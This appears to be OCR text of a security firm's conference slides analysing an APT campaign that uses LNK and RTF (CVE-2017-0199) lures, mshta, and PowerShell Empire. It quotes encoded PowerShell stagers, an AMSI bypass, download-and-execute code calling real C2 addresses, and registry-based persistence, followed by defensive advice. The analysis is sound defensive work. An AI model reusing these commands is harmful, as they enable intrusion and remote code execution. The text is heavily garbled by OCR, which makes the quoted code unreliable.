LNK/RTF file detail of 1st payload

A—
SIS,

LAC

o) 2017_BHISETOIS At DTO/ T«
24 | va-Mwb DRt | txause | 68 | Lsos-vas

=

LNK

017 FBHLEEF0I Tt . .
el LNK file will execute
fiz< P =g MSHTA.exe
15PH: system32
ULHSE(T): |C¥windows¥system32¥mshtaexe http://80.209.252.7(| é
{EFEIA )4 —(S)

Link information:
Creation time
Modification time
Access time
File size

: Not set

: Not set (©)

: Not set (©)

: 0 bytes

: Ox00000000

: _Tvpe: Text Document

: ..\Windows\system32\mshta.exe
http://80.209.252.70:443/?jaas

o y \notepad.exe

()

File attribute flags

Description

Relative path

Command line arguments
W e —

s78 sym | mrE|. A

L .mm LomEn | Rl | o
2 r 2E
= . mzm 5
3 . . &Y HELESE: HELTY
o
M a
pop RE
2
Wicrosoft Word -

fl  CORBEL MIIHOATAE T, S

NI ORTE>

OO EREIAL LT

o0 ] (o] (Auge

RTF file with
CVE-2017-0199
exploit

26

GET /?jaas HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR

3.5.3Q229 2.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host:

80.209.252.70:443

~

HTTP/1.1 200 OK

Date: Sun, 16 Apr 2017 18:56:41 GMT

Server: Apache/2.4.25 (Debian)
Last-Modified: Sun, 16 Apr 2017 16:56:22 GMT
Accept-Ranges: bytes

Content-Length: 2875

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/hta

This communication is 443/
TCP but, HTTP is used
instead of HTTPS

<html><head><script>var c= ‘powershell -noP -sta -w 1 -enc
biwBSAGUAZgBdAC4AQQBZAFMAZQBAEIATABSACAARWBFAFQAVABZAHAAZQAOACCAUWBSAHMAJABLAGBALgBNAGEAbgBhAGCAZQBtAGUADgBBACAAQ
QB1AHQAbwWBtAGEAdABpAG8AbgAUAEEADQBZAGKAVQBOAGKADABZACCAKQBBAD8AWAKAF8AFQBBACUAeWAKAFBALgBHAGUAVABGAEKAZQBSAEQAKA
AnAGEAbQBzAGKASQBUAGKAdABGAGEAaQBSAGUAZAANACWAIWBOAGBAbgBQAHUAY gBsAGKAYwAsAFMAdABhAHQAaQB JACCAKQAUAFMAZQBBAFYAYQB
SAHUARQAOACQAbgB1AGWABAASACQAVABYAFUARQAPAHOAOWBbAFMACQBZAFQAZQB tACAATgBFAFQALgBTAGUAUGB2AGKAQUBFAF AAbWBIAGAAdABN
AEEATgBhAECARQBSAFOAOgAGAEUAWABQAGUAQuBUADEAMAAWAEMATWBUAHQA2QBUAFUARQAIADAAOWAKAF cAYWAIAE4AZQB3ACOATWBIAEOAZQBIA
GET /Docl.rtf HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR
2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 103.253.41.76:443

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Sun, 16 Apr 2017 18:56:41 GMT

Server: Apache/2.4.25 (Debian)
Last-Modified: Sun, 16 Apr 2017 16:56:22 GMT
Accept-Ranges: bytes

Content-Length: 2770

Keep-Alive: timeout=5, max=100 Ca I | Powe rSh el I USI ng

C ion: Keep-Ali . . o
Content.Type: (ot IaseTonTAEr ] Script in the HTA file

<html><head><script>var c= ‘powershell -noP -sta -w 1 -enc

lwBSAGUARgBAAC4AQQBTAHMARQBtAGIATABZAC4ARWB1AFQAVABSAFAARQACAC cAUWBSAHMAJABLAGOALgBNAGEAbgBh
AGcAZQBtAGUAbgBOACAAQQB1AHQAbWBTAGEAdABpAG8AbgAUAEEADQBZAGKAVQBOAGKADABZACCAKQBSAD8AeWAKAFSA
fQBBACUAewAKAFBALgBHAEUAJABGAEKARQBMAGQAKAANAGEADQBZAGKASQBUAGKAdABGAGEAaQBSAGUAZAANACWAIWBO)
AG8AbgBQAHUAYgBsAGKAYwASAFMAJABhAHQAaQBjACcAKQAUAFMARQBOAFYAYQBSAFUAZQACACQATgBVAEWADAASACQA
VAByAFUARQApAHRAOWBDAFMAWQBTAHQAZQBtACAATgB1AHQALgBTAGUAUgB2AGKAQWBFAFAATWBIAGAAJABNAGEATgBB
AGcAZQByAFOAOgA6AEUAWABWAGUAYwBUADEAMAAWAEMATWBUAHQASQBOAFUAZQA9ADAAOWAKAF cAQWASAEAARQBXACOA

rved.




HTA file detail of 2nd payload (case of LNK)  {&c

Response data (HTA file)

html><head <script var c= ’powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQBzAFMAZQBt
AEIATABSAC4ARwWBFAFQAVABZAHAAZQA0ACCAUwWBSAHMAGAB LAGOALgBNAGEAbgBhAGCAZQOBtAGUAbgBOAC4AQQB1T
AHQAbwBtAGEAdABpAGBAbgAUAEEADQBZzAGKAVQBOAGKAbABZzACCAKQBBADBAewAkAFBATQOBBACUAewAkAFBALgBH
AGUAVABGAEKAZQBSAEQAKAANAGEAbQBzAGkASQBuUAGKAJABGAGEAaQBSAGUAZAANACWAJWBOAGBAbgBOAHUAYgBSs
AGKAYwASAFMAJABhAHQA2QB jACcAKQAUAFMAZQBOAFYAYQBSAHUARQA0ACQAbgB1AGwWAbAASACQAVABYAFUARQAD
AHOAOwWBbAFMAe(QBzAFQAZQBtAC4ATgBFAFQALgGBTAGUAUGB2AGKAQwWBFAFAAbWBJAGAAdABNAEEATGBhAECARQBS
AFOAOGAGAEUAWABQAGUAQwWBUADEAMAAWAEMATWBUAHQA2QBUAFUARQASADAAOWAKAFcAYWASAE4AZQOB3ACOATWB
AE0AZQB jAFQAIABTAHKAcWBUAEUATQAUAE4ARQBUAC4AVWBFAGIAQwBSAGKAZQBOAFQAOwWAKAHUAPQANAEDAbWBE
AGKAbABSAGEALwWA1AC4AMAAGACGAVWBPAG4AZABvAHCACWAGAE4AVAAGADYALgAXADSATABXAESBAVWA2ADQAOWAG
AFQAcgBpAGQAZQBuUAHQALWA3AC4AMAATACAAcgB2AD0AMQAXACAAMAAPACAADABPAGSAZQAGAECAZOB jAGSAbwAN
ADsAJAB3AGMALgBIAEUAQQBKAGUAcgBTAC4AQQBKAEQAKAANAFUAcwB LAHIALQBBAGCAZQBuUAHQAJWASACQAdQAp
ADsAJAB3AGMALgBQAHIATwWBYAFkAPQBbAFMAeQBTAHQAZQBNAC4ATgB LAFQALgBXAGUAQgBSAGUAUQBTAGUAUWBU
AFOAOgAGAEQARQBMAGEAdQBsAHQAVWB LAGIAUABYAE8AeABZADsAJAB3AEMALgBQAF IAbwBYAFKALgBDAF IARQBk
AGUAbgBOAEKAYQBSAFMAIAASACAAWWBTAFkAcwBUAGUAbQAUAE4ARQBUAC4AQwBSAGUARABFAE4AVABPAEEADABD
AGEAQwBoAEUAXQAGADOARABFAEYAQQB1AEWAJABOAGUAJAB3AGBAcBLAEMACcGBFAEQARQBUAHQAQBhAEWACWAT
ACQASwA9AF sAUwWBZAFMAVAB LAEOALgBUAEUAWABUAC4ARQBUAGMATwWBKAGKAbgBHAFOAOgAGAEEAUWBDAEKASQAU
AECARQBOAEIAeQBUAEUAcWAOACCAMgAOADIAYQAOAGMANQAYADTAMWB j AGIANABKADIANQBhADAAMWAOAGYAZQAX
AGMAZAA2AGQANABKADMANWA3ACCAKQA7ACQAUgA9AHSAJABEACWAJABLADOAJABBAHIARWBTADSAJABTADOAMAAU
AC4AMgA1ADUAOWAWAC4ALgAyADUANQBBACUAewAKAEOAPQA0ACQASgArACQAUWBDACQAXwBAACSAJABLAFSAJABT
ACUAJABLAC4AQwBVvAHUATgBUAFOAKQA LADIANQA2ADSAJABTAF sAJABTAFOALAAKAFMAWWAKAEoAXQASACQAUWBD
ACQASgBdACWAJABTAFsAJABTAFOATQA7ACQARABBACUAewAKAEKAPQAOACQASQArADEAKQA LADIANQA2ADSAJABI
ADOAKAAKAEgAKwAKAFMAWWAKAEKAXQApACUAMgATADYAOWAKAFMAWWAKAEKAXQASACQAUWBDACQASABAADDAJABT
AFSAJABIAFOALAAKAFMAWWAKAEKAXQA7ACQAXwAtAEIAWABPAF IAJABTAF sAKAAKAFMAWwAKAEKAXQArACQAUwBD
ACQASABAJACKAJQAYADUANGBAAHOATQA7ACQAVWBDAC4AASABFAGEAZABFAHIAUWAUAEEARABKACQAIGBDAGSAbWBY
AGKAZQAiACwAIgBzAGUAcwBzAGkAbwBUADOASQBWAEOACABWAHAACWBPAFEAbWATAEOASWBKAEGAYQBLAFCAdQBI
ADIAVABrAFAAUwBtAEKAPQA i ACKAOWAKAHMAZQByADOAJwBoAHQAdABwWADOALWAVADGAMAAUADIAMAASAC4AAMgAT
ADIALgA3ADAAOgA4ADAAJWATACQAdAASACCALWBUAGUAdwBZAC4ACABoAHAAJWATACQAZABBAFQAQQASACQAVWBD
AC4ARABPAHcAbgBMAGS8AQQOBEAEQAQQBOAEEAKAAKAHMAZQBYACSAJABUACKAOWAKAEKAdgA9ACQARABhAHQAQQBD
ADAALgAuADMAXQA7ACQARABhAHQAQQA9ACQAZABNAFQAQQBDADQALgAUACQAZABHhAFQAQQAUAGWARQBOAGCAdABO
AFOAOwAtAGoAbwBpAE4AWWBDAGGAYQOBYAFsAXQBAACgAJgAgACQAUgAGAC
QARABBAFQAQQAgACgAJABJAFYAKwAKAESAKQApAHWASQBFAF gA
ActiveXObject('WScript.Shell’).Run(c);
ActivoX0bioot () iot Sholl') Boo(’o . jaas. gr. jp/english/7Mt.

jaas.grjp/english/?Mt. Fu O ~ & || B8 The Japanese Association f..
htig

Ref]. AsSemBLy. GETTYpe(’ System. Management. Automation. AmsiUtils’ ) |?
$

L
{
}
{

$ .GeTFIelD('amsiInitFailed’,’ NonPublic,Static’).SetValuE($null,$
TrUE)

i
[SysTem. NET. SeRviCEPoIntMANaGER]: :EXPeCT100COnt inUE-0;
New-ObJecT SysTEM.NET.WEbCLieNT;
$u-"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) Llike
Gecko’ ;
.HEAderS. AdD(’ User-Agent’, $u);
.PrOXY-[SySteM. NeT.WeBReQueST]: :DEfaultWebPrOxY;
.PRoXY.CREdentIalS [SYsTem. NET. CReDENTiALCaChE]: :
DEFAuLtNetworKCrEDEntials;
$K-[SYSTeM. TEXT. EncOdinG]: :ASCII.GEtByTEs(’
s 242a4c5223cb4d25a034fe1cd6d4d377’ );
R

{
= $D, $K=3ArGS;
$S=‘»‘.. :

{
$J=($J+$S[$ 1+3K[$ 1$K.CouNT])¥?
ﬁ8[$ 1, $S[$J1=8S[$J], $S[$ ]

This code is
PowerShell Empire

L7
$WC.HEadErS.ADd("Cookie","session=IVMprSOOoSMKdHaKWubZTkPSmI=");
$ser="http: 80 209.252.70:80" ;
$t=’ /news. php’
$AATA-SWC. DOAPLCHDDMtM($Ser $T);
$Iv-$DatA[0. .3
$DatA $daTA[ .$daTA.lENgth],
joiN[Char[11(% $R $DATA ($IV:$K))|IEX

right ©LAC Co., Ltd. All Rights Reserved.



Persistence methods with PowerShell Empire ]f‘c

Task scheduler

(D) #RH REza1—-35
I7IUF) BIEA) TR(V) ~LF(H)

s »EHE

O s202552-5 O o RE LUz REQE#EZ AEOE.. MEORG.. {WE (AN Task Program
(BFRVATZATT I @ ypiater  @ET =E 0:00 B 2017/07/25 9:00:00| 2L 2017/07/24 to | h
‘ O lunc
PowerShell

C:¥Windows¥System32¥WindowsPowerShel L¥v1. 0¥powershell.exe -NonI -W hidden
IFX ([Text Fncodingl::-UNTCODF GetString([Convert]::FromBase64String((gp

HKCU:¥Software¥Microsoft¥Windows¥CurrentVersion debug). debug)))

1B e
F053LORE C¥Windows¥System3 2¥Windows PowerShell¥y 1. 0¥powershell exe —Nonl -W hidden -c¢ “IEX ([Text Encoding]:UNICODE GetStrine{ [Convert]:From
# LSRN IF 15— =[]
I7IUF) |EE) TR(V) BRICAD(A) ~NLT(H)
VBA ~ || &#i =3 F—4&
§ Visual Basic aBH(ELE) | REG_SZ (BOZERL)
) WAB | 2b)debug | REG_SZ WWBSAEUARGBJAC4AQQBZAHMAZQBLAGIADABZACAARWEIAHQAVABSAHAAR....
Web Service Providers

4 Windows

e w Please check

: 4 CurrentVersion . . the ”debug”
> Acton Gerter This string Base64 decoded registry value
Applets . . H
Controls Folder result is Empire script
Device Metadata

< 1 »

28 | 3311 —%&—¥HKEY_CURRENT_USER¥Software¥Microsoft¥Windows¥CurrentVersi . .
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Malware connection and related elements LAC

®a https://github.com/EmpireProject/Empire/blob/master/lib/listeners/http.py c (o ﬁ
‘"Value' s NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
. html+xml,application/xml;q=0.9,*/*;q=0.8
i ,en;q=0.3
'ServerVersion' : {
'Description’ : 'Server header for the control server.',
'Required’ : Ioue
. “u ”
'Value' : l 'Microsoft-II5/7.5" | t=utf-8 We can see “HT |P/1.0 and
¥ TV H »” :
e, nust-revalidate Mlicrosoft-11S/7.5” in the

HTTP response header
# required:
self.mainMenu = mainMenu GMT

self.threads = {}

p>This is the default web page for this server.</p><p>The web server
ent has been added, yet.</p></body></html>

# optional/specific for this module
self.app = None
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[@].split("',")]

f—= set th:f— de—':ault ;?taginc,l,' b-:ufﬂ;-.‘ to ‘lch:‘: controller db de—'ault. ' ' ' This Com bination used
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[@]) .
Empire C2 Server
def Tifault_”espcnse(self’): (Iisteners/http. py) .
Ifn:furns a default HTTP server page. It Was r‘unning as Of Checked
page =| "<html><body><h1>It works!</h1>" on |ate August 2017

page +F "<p>This is the default web page for this server.</p>"

page +F "<p>The web server software is running but no content has been added, yet.</p>"

page +F "</body></html>"

return page
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Prevention method LAC

m Plenty of initial attack vectors are Spear Phishing E-mail.
m Keep up-to-date with latest systems, software and used security products
m Educate employees on potential security threats & not opening unknown email

m Have a special care for recent exploit vectors(DDE, XLL Add-Ins, etc)
which are having very potential usage to be used in attack.
m Disabling DDE, XLL Add-Ins with Microsoft Office settings etc. u7

m PowerShell, HTA, CHM are often used in this series or similar threats.
m Blocking PowerShell, HTA and CHM with AppLocker or SRP etcusjo

m Repeatedly use similar attack methods and use almost same
infrastructure.

m Utilize Threat Intelligence tools

30 Copyright ©LAC Co., Ltd. All Rights Reserved.
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Conclusion LAC

m Recent APT attacks are heavily using open source tool
and has the increasing tendension to modify the
original source code, so that they can correspond to
various platforms.

m The past evidence shows us that the attacks are
continuing and still ongoing too now.

m For the information sharing with OPSEC on a global
scale, you are more than welcome to contact us !
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LAC Thank you. Any Questions ?
EHIC.TFI
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